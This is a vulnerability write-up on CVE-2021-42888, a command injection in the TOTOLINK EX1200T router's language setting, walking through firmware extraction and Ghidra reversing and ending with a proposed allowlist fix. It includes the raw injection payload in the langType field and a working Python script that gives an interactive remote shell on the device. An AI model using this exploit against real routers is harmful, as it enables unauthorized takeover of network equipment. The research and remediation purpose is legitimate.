CVE-2021-42888: TOTOLINK EX1200T Remote Command Injection
Introduction
A vulnerability discovered in TOTOLINK EX1200T
model known as CVE-2021-42888
which lead to Remote Command Injection, as a results anyone exploit this vulnerability by sending a crafted request through langType
parameter when setting the language will be able to to inject arbitrary commands and will get executed by the device. Note:(Everything you obtain here is for educational purposes, Don't use or abuse any bug against any target without permissions
)
Obtaining the Firmware
Before we start we would need the firmware of the device, Therefore We can take a static look at the code and how it works to understand more. So, what we need is the vulnerable Firmware for the device which is V4.1.2cu.5215
and we have many ways to do it:
-
You can search for the firmware on the official website for the vendor.
-
Download it from any other source (after someone already dump it from the device and published it).
-
Dump the firmware through
UART
, You could read a detailed blog from Here. -
Also, you could contact the support to provide you with the firmware.
-
Finally dumping the firmware using
CH341A
Mini programmer USB, You could read a detailed blog from Here.
In my case, I found the firmware on the vendor website. Now, Let’s extract the firmware using binwalk
tool as the following binwalk -e --run-as=root "TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web"
and here is the output:
$ ls
TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web
$ sudo binwalk -e --run-as=root "TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web"
[sudo] password for azima:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
76 0x4C JFFS2 filesystem, little endian
209052 0x3309C Zlib compressed data, compressed
209388 0x331EC Zlib compressed data, compressed
210144 0x334E0 Zlib compressed data, compressed
210832 0x33790 JFFS2 filesystem, little endian
231428 0x38804 Zlib compressed data, compressed
231988 0x38A34 Zlib compressed data, compressed
232548 0x38C64 Zlib compressed data, compressed
233116 0x38E9C Zlib compressed data, compressed
233560 0x39058 JFFS2 filesystem, little endian
254344 0x3E188 Zlib compressed data, compressed
254696 0x3E2E8 JFFS2 filesystem, little endian
255224 0x3E4F8 Zlib compressed data, compressed
256064 0x3E840 JFFS2 filesystem, little endian
321636 0x4E864 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 6526520 bytes
And as i am using Windows Subsystem Linux (WSL)
, Here we can browser our firmware normally:
The Analysis
It’s the time for the analysis. We will need Burp Suite
to see how is the request of the Language set looks like on the device before it’s go to the device web server and how/why it executes the value as a command. When we open the web panel, We can notice that there is a menu list on the right-top that contains the language.
Now, when we change the language and look at requests made through burp suite will find the following:
And by navigating to the request made to change the language which has the langType
parameter the request is as the following:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.254
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
Origin: http://192.168.0.254
DNT: 1
Connection: close
Referer: http://192.168.0.254/login.asp
{"topicurl":"setting/setLanguageCfg","langType":"en","langFlag":"1"}
Let’s go with Ghidra
and reverse the cstecgi.cgi
file. Now, By going to the file and check it with the file
command, We can see it’s an ELF 32bit MIPS
file:
Open it and create a new project i named it EX1200T
for the device name and drop the cstecgi.cgi
file into the project:
After that open the file using Code Browser
within Ghidra
:
Then, analysis the file:
Navigating to Symbol Tree
and let’s check out the functions:
After going through the functions clearly inside FUN_00400dd8
function we can see the following lines of codes. But, there is no thing interesting and it’s all about functions calling other functions:
We just can see that httpStatus
, redirectURL
& responseParam
being passed to some unclear functions.Also, If we search for any string contains the work lang
, We can see there is nothing can be found:
But, You can see under \squashfs-root\lib\cste_modules
folder that there are libraries named as the following:
app.so
cloudupdate.so
global.so
lan.so
product.so
system.so
upgrade.so
wireless.so
wps.so
After reversing this libraries you will know that it’s clearly used by the cstecgi.cgi
to perform different operations and changes through the device panel. Let’s identify which one perform the changing language process by searching through the following Bash
one liner using strings
command:
for i in $(ls -la | awk '{print $9}' | grep ".so"); do echo ""; echo "Lib Name: $i"; strings $i | grep "langType"; done
The above line will print the library name after this will run the strings
command on the library to get any string has the work langType
and will print the results under the library name. Therefore, we will be able to know which library contains the language changing
process or anything related. Command output:
Lib Name: Fastjson.txt
Lib Name: app.so
Lib Name: cloudupdate.so
Lib Name: global.so
langType
Lib Name: lan.so
Lib Name: product.so
Lib Name: system.so
Lib Name: upgrade.so
Lib Name: wireless.so
Lib Name: wps.so
And as we can see it’s with-in the global.so
library, As we did with the cstecgi.cgi
file. Let’s do the same with the library with Ghidra
. After opening the Functions
tab under Symbol Tree
we can notice the setLanguageCfg
function:
So, we can say the language process is as the following:
Now, Let’s navigate to the function and understand what this function do and how it works. First the function start by taking 3 parameters
undefined4 setLanguageCfg(undefined4 param_1,undefined4 param_2,undefined4 param_3)
Which are param_1
, param_2
and param_3
. By going through the rest of the code you gonna see that mostly are declaring of variables, Until we reach the line number 31
:
We can see here it’s created 2 variables:
-
param2
: which stores the value that thewebsGetVar()
function will return which obvius that it will return the value oflangType
and assign it toparam2
and if there is no value, It will assign the""
toparam2
which is empty string. -
__nptr
: which stores the value that thewebsGetVar()
function will return which obvius that it will return the value oflangFlag
and assign it to__nptr
and if there is no value, It will assign the1
to__nptr
.
From what we saw we can change these variable names to the names of the request parameters and the call for the apmib_get()
function is for retrieving a value from a data structure and storing it in param2
for later use. By complete reading through the code:
local_1c = atoi(langFlag);
apmib_set(0x1777,&local_1c);
the local_1c
stores the value of langFlag
which converted by atoi()
function which converts a string of characters representing an integer value into an actual integer value. Then, again apmib_get()
function is retrieving a value from a data structure and storing it in local_1c
for later use. After that in the following lines:
iVar1 = f_exists("/mnt/custom/product.ini");
if (iVar1 != 0) {
sprintf(acStack_140,"helpUrl_%s",langType);
inifile_get_string("/mnt/custom/product.ini","PRODUCT",acStack_140,&local_40);
apmib_set(0x1bc8,&local_40);
}
Here the iVar1
stores the return value of the f_exists
function and it’s a custom function defined elsewhere in the code which checks if the /mnt/custom/product.ini
file exists or no. Then, there is if
condition checks if the value of iVar1
is not equal to 0
which mean that the file /mnt/custom/product.ini
exists. If the condition is true the sprintf
function will format a string and store it in acStack_140
and the formatted string consists of the literal string helpUrl_
is followed by the value of the variable langType
. Then, apmib_get()
function is retrieving a value from a data structure and storing it in local_40
for later use. Now, Coming to the following lines of codes is the place where the problem happens:
apmib_update_web(4);
CsteSystem("rm -f /web_cste/js/language.js 1>/dev/null 2>&1",0);
sprintf(acStack_140,"/web_cste/js/language_%s.js",langType);
sprintf(acStack_140,"ln -s /web_cste/js/language_%s.js /web_cste/js/language.js 1>/dev/null 2>&1",
langType);
CsteSystem(acStack_140,0);
websSetCfgResponse(param_1,param_3,&DAT_0001eca4,"reserv");
return 0;
First, apmib_update_web(4)
This function updating some configuration settings on the device, Moving to the next line which is a call to a custom function from it’s name and arguments we can see it’s executing commands and the command is rm -f /web_cste/js/language.js 1>/dev/null 2>&1
and it’s clearly to remove the /web_cste/js/language.js
file & the 1>/dev/null
and 2>&1
redirection operators are used to suppress output from the command. Then, sprintf()
function format a string into acStack_140
and The formatted string will be /web_cste/js/language_[langType].js
and here where is the root cause of the problem cause the input is not filtered and by going to the following line CsteSystem(acStack_140,0);
use CsteSystem()
function again to execute the command stored in acStack_140
which includes the langType
value that can be manipulated by the user & In this case, The user can include malicious input. Let’s now exploit it. I connected the device through telnet
services first:
Now, Let’s go to Burp Suite
and manipulate the request and show a PoC for the vulnerability:
We can see our request and response is successfully and Basically we executed a command to print out the CVE
number and store it inside poc.txt
in the /tmp
directory and if we navigate to the directory we can see clearly our file there and the CVE
number:
But, We can see that it ends with .js
, So we can print a new line or separate it with ;
which separate commands in shell:
And here is it working well. Now, We can automate this process using python:
import requests
import sys
print(f"[*] Target: {sys.argv[1]} \n")
url = f"http://{sys.argv[1]}/cgi-bin/cstecgi.cgi"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest"}
while True:
command = input(f"{sys.argv[1]}@shell# ")
json = {"langFlag": "1", "langType": f";{command} > /web_cste/res.txt;",
"topicurl": "setting/setLanguageCfg"}
req1 = requests.post(url, headers=headers, json=json)
if req1.status_code == 200:
print(f"[+] Command: {command}\n")
req2 = requests.get(f"http://{sys.argv[1]}/res.txt", headers=headers)
print("[+] Results:")
print(req2.text)
json = {"langFlag": "1", "langType": f";rm -rf /web_cste/res.txt;",
"topicurl": "setting/setLanguageCfg"}
requests.post(url, headers=headers, json=json)
else:
print("[-] Error Command failed")
So, Basically the code will take a target as a first argument and then the command from the user after that will send the command and save the results in res.txt
file in the web root directory so it can be access in public, After that request the res.txt
file and print out it’s output which also is the command out put then it will delete it.
Final Thoughts
The developer shall use an Asp
endpoint to change the language as a different option instead of executing commands to move the JS
files responsiable for the language, But, In our case of this code there are many solutions to make sure it will be hard for the user to escape the default command and inject malicious command as the following:
// Define an array of languages
char* languages[] = {"en", "ar", "ch"};
// Get the number of languages in the array
int numLanguages = sizeof(languages) / sizeof(languages[0]);
// Get the value of the langType parameter from the HTTP request
langType = (char*)websGetVar(param_2, "langType", "");
// Check if langType has length of 2, exit without executing commands if it doesn't
if (strlen(langType) != 2) {
return 0;
}
// Check if langType is included in the languages array, exit without executing commands if it's not
int isIncluded = 0;
for (int i = 0; i < numLanguages; i++) {
if (strcmp(langType, languages[i]) == 0) {
isIncluded = 1;
break;
}
}
if (!isIncluded) {
return 0;
}
// Remove the existing language.js file
CsteSystem("rm -f /web_cste/js/language.js 1>/dev/null 2>&1", 0);
// Set up the path for the new language.js file and create a symbolic link to it
sprintf(acStack_140, "/web_cste/js/language_%s.js", langType);
sprintf(acStack_140, "ln -s /web_cste/js/language_%s.js /web_cste/js/language.js 1>/dev/null 2>&1", langType);
CsteSystem(acStack_140, 0);
// Set the langType and langFlag parameters in the system
apmib_set(0x1772, langType);
langFlag = (char*)websGetVar(param_2, "langFlag", "1");
local_1c = atoi(langFlag);
apmib_set(0x1777, &local_1c);
// Check if the product.ini file exists and set the helpUrl parameter in the system
iVar1 = f_exists("/mnt/custom/product.ini");
if (iVar1 != 0) {
sprintf(acStack_140, "helpUrl_%s", langType);
inifile_get_string("/mnt/custom/product.ini", "PRODUCT", acStack_140, &local_40);
apmib_set(0x1bc8, &local_40);
}
// Update the web configuration
apmib_update_web(4);
// Remove the existing language.js file
CsteSystem("rm -f /web_cste/js/language.js 1>/dev/null 2>&1", 0);
// Set up the path for the new language.js file and create a symbolic link to it
sprintf(acStack_140, "/web_cste/js/language_%s.js", langType);
sprintf(acStack_140, "ln -s /web_cste/js/language_%s.js /web_cste/js/language.js 1>/dev/null 2>&1", langType);
CsteSystem(acStack_140, 0);
// Set the response and return 0
websSetCfgResponse(param_1, param_3, &DAT_0001eca4, "reserv");
return 0;
Now, we created an array then condition checks if it is a valid two-letter language code by comparing it with the values in the languages array. If the langType
parameter is not valid, the code exits without executing further commands.
Conclusion
In this analysis we saw the root cause of the issue and how it can be solved in an example code, Also how we can analysis the unclear decompiled code to understand as much as we can of the code and make it clear.Finally, You have to keep each code under it’s condition.
References
-
https://www.totolink.net/home/news/me_name/id/39/menu_listtpl/DownloadC.html
-
https://ghidra-sre.org/
#CVE-2021-42888